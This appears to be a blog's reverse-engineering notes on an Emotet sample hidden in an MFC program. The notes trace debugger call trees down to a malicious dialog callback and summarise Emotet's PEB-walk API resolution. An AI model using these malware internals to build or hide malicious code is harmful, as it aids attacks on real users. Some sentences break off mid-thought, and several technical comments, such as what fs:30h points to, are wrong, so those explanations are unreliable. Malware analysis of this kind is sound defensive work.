------ memset(0x18E76Ch, 0, 30)
------ memset(0x18E76Ch, 0, 500)
------ memset(..)
------ lstrcpyW("c:\windows\syswow64\cmdl32\negoexts.exe", ..)
------ SHFileOperationW()

*** IDS thew a next step debugger exception here ***

----- call decryptApi()
----- call eax
---- *** more code ***
---- call eax (near the bottom)
- call dword ptr [edx+4]
- SendMessageA()
- SendMessageA()
- SendMessageA()
- call dword ptr [edx+140h]
- string "http://www.ucancode.net..."
- subFindResourceHandleCallPtr2()
- call dword ptr [eax+138h]
- Cwnd::GetDlgItem()
- GetWindowRect()
- Cwnd::ScreenToClient()

Tuesday, July 28, 2020

emotet mfc using CreateDlgIndirect lpDialogFunc call-back

emotet mfc starting point notes, trying to figure out where the malicious code starts

-call dword ptr [eax+90h] (which is CWinApp::InitApplication)
-call dword ptr [eax+50h] (which is local function in .text)
-- AfxEnableControlContainer()
-- call localFunction1()
--- CDialog::CDialog()
--- call localFunction3()
---- CWnd::CWnd
---- call localFunction4() [just moves 1 memory slot]
---- call dword ptr [edx+0ch]
---- CToolTipCtrl::CToolTipCtrl()
---- GetSysColor
---- call localFunction5()
----- branches to possibly these items
------ localFunction6()
------- branches to possibly these items
-------- unknown_libname (mfc 3.1-14.0 32bit)
-------- AfxThrowOleException
------ call dword ptr [edx+4]
----- call dword ptr [eax+0ch]
--- CWnd::CWnd()
--- call ??_L@... (vector constructor iterator)
--- AfxGetModuleState()
--- AfxGetModuleState()
--- LoadIconA
-- CDialog::DoModal()
-- call localFunction2()
-if success
--call dword ptr [eax+54h] (which is CWinApp::Run)
-if failure
--call dword ptr [eax+68h] (which is CWinApp::ExitInstance)

my 1st assumption was to break on
that didn't work, emotet still installed service & never hit my breakpoint

so instead i end up looking at that local function in .text that calls
 AfxEnableControlContainer, DoModal
googling shows this template below is common in C# mfc code that does a "popup dialog box"
 CMainDialog dlg
emotet doesn't show a modal (unless it's hidden?) but maybe there is hidden code in the modal???

trying to find a good breakpoint
- AfxEnableControlContainer is hit
- call localFunction1 is hit
- DoModal is hit
- call localFunction2 is NOT hit
malicious code appears to execute & exit when DoModal is called

Inside DoModal i first tried breakpoints at
but it never hit my breakspoint, so malicious code ran before that

DoModal (still in the .text section)
- AfxGetModuleState()
- AfxGetModuleState()
- FindResourceA()
- LoadResource()
- LockResource()
- CDialog::PreModal()
- AfxUnhookWindowCreate()
- AfxHookWindowCreate()
- CWnd::FromHandle()
- CWnd::CreateDlgIndirect()
- ... more ...

Stepping thru DoModal, the malicious code runs after call to
so I need to dig more in there

msdn ( https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-createdialogindirecta )
appears to indicate that there is a lpDialogFunc of type DLGPROC
 this can be a call-back procedure, i think there is where the malicious code is

- CreateDialogIndirectParamA(..., AfxDlgProc/lpDialogFunc, )
-- CreateDialogIndirectParamAorW()
--- call near ptr unk_76371801
--- call near ptr unk_763718E1
---- AfxDlgProc() <-- i think this is the CreateDlgIndirect using the call-back function
---- call dword ptr [edx+144h]
------ call localFunction7() in .text
------- CDialog::OnInitDialog()
------- GetSystemMenu()
------- FromHandle()
------- localFunction4()
------- call dword ptr [edx+0ch]
------- AfxFindStringResourceHandle()
------- localFunction8()  <-- possibly the start of the malicious code
-------- FindResourceA()
-------- localFunction9()
--------- LoadResource()
--------- LockResource()
--------- SizeOfResource()
--------- localFunction10() [GetVersionExA, InterlockedExchange]
--------- WideCharToMultiByte()
--------- localFunction11()
---------- call dword ptr [edx+8]
--------- localFunction10() [GetVersionExA, InterlockedExchange]
--------- WideCharToMultiByte()
--------- localFunction6()
------- AppendMenuA()
------- !!! DEFINITELY EVIL CODE !!!
------- (stack string for mshta.exe)

emotet api resolution, fs:30h, _PEB_LDR_DATA

just summarizing important parts in this great blog

mov eax, large fs:30h

EAX now contains pointer to TEB (thread environment block)
mov esi, [eax+0ch]

ESI now contains pointer to PEB (process environment block)
add esi, 0ch

ESI now contains pointer to _PEB_LDR_DATA (doubly linked list of in memory modules/dlls)

mov eax, [esi+3ch]    #esi = _PEB_LDR_DATA from above

EAX now contains pointer to PE Header
add eax, 78h

EAX now contains pointer to Export Table from PE Header
mov edi, [eax]
add edi, esi
mov eax, [edi+20h]

EAX now contains point to Export NAME table
mov eax, [edi+1Ch]

EAX now contains pointer to Export ADDRESS table

EAX now